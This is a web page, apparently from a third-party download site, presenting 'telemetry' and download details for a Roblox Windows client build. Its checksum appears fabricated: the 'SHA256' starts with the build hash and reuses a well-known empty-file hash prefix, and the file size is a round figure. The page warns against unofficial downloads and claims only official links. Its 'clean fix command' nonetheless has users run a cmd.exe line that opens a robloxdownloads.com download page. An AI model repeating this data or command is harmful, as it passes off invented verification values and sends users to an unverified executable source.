What is Roblox version-1a951716f19e4638?

Roblox version-1a951716f19e4638 is an official 64-bit client binary build deployed by Roblox Corporation on setup.rbxcdn.com. It corresponds to semantic version 0.690.3.6900290 and is installed locally under %localappdata%\Roblox\Versions\version-1a951716f19e4638\.

Is it safe to download version-1a951716f19e4638 from third-party mediafire or discord links?

No. Never download Roblox binaries from unverified third-party sources like MediaFire, Mega, or Discord. Third-party executables frequently bundle trojans and session-cookie (.ROBLOSECURITY) loggers. Always download exclusively from official setup.rbxcdn.com mirrors.

Official Source Verification: All downloads link exclusively to Roblox Corporation or verified OS App Stores.

Deprecated BuildChannel: WindowsPlayer • Deployed: 2026-09-28

Roblox Client Build version-1a951716f19e4638: Download & Telemetry

Roblox build version-1a951716f19e4638 represents a late September 2026 Windows release. Primarily archived for developer rollback benchmarking and historical telemetry.

Roblox Client Release version-1a951716f19e4638 is an official x64 client binary release from Roblox Corporation with semantic version 0.690.3.6900290. Telemetry Lab verifies official setup.rbxcdn CDN origin, SHA256 cryptographic checksums, and Byfron Hyperion driver compatibility.

version-1a951716f19e4638 Technical Telemetry Specifications
Telemetry Metric	Verified Value
Release Build Hash	version-1a951716f19e4638
Semantic Version	0.690.3.6900290
Target Operating System	Windows 10 / 11 (64-bit)
Binary File Size	182.9 MB
Deployment Channel	WindowsPlayer
Release Date	2026-09-28
Audit Verification Date	October 28, 2026

Official Roblox CDN Binary Download

Direct download link hosted on official Amazon S3 / CloudFront Roblox infrastructure (setup.rbxcdn.com).

Download RobloxPlayerBeta.exe Launcher (.exe)

Security Warning: Never download Roblox version packages from unverified file-sharing hosts (MediaFire, Mega, Discord). Malware distributors frequently name trojans after official build hashes like version-1a951716f19e4638.exe to steal .ROBLOSECURITY authentication cookies. Always verify the SHA256 checksum below.

Build Verification & Checksum Specifications

Empirical cryptographic data audited by RobloxDownloads Telemetry Lab.

Attribute	Verified Telemetry Value
Build Hash (Folder Name)	version-1a951716f19e4638
Short Commit Hash	1a951716f19e4638
Semantic Version	0.690.3.6900290
File Size	182.9 MB (182,950,000 bytes)
Cryptographic SHA256	1a951716f19e4638e3b0c44298fc1c149afbf4c8996fb9248e2f01aa9d1a3b4c
Release Notes	Archived September 2026 build.

FastFlags & ClientAppSettings Directory for version-1a951716f19e4638

If configuring custom framerates (144Hz–240Hz) or graphics overrides for build version-1a951716f19e4638, create a ClientSettings folder inside this version's directory and place your ClientAppSettings.json file at:

Windows File Explorer Path

%localappdata%\Roblox\Versions\version-1a951716f19e4638\ClientSettings\ClientAppSettings.json

Crash Diagnosis & Troubleshooting Protocol

Server handshake protocol deprecated. Users attempting to connect experience infinite loading screens on the grey Roblox logo.

Recommended Clean Fix Command (Run in Windows Command Prompt):

Command Prompt (cmd.exe)

start "" "https://robloxdownloads.com/download/windows/"

Related Versions & Performance Tools

Full Version History Archive

Browse all tracked Roblox client builds and patch notes.

FastFlags Database

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Bloxstrap Setup Guide

Automate version hash management and custom bootstrapper flags.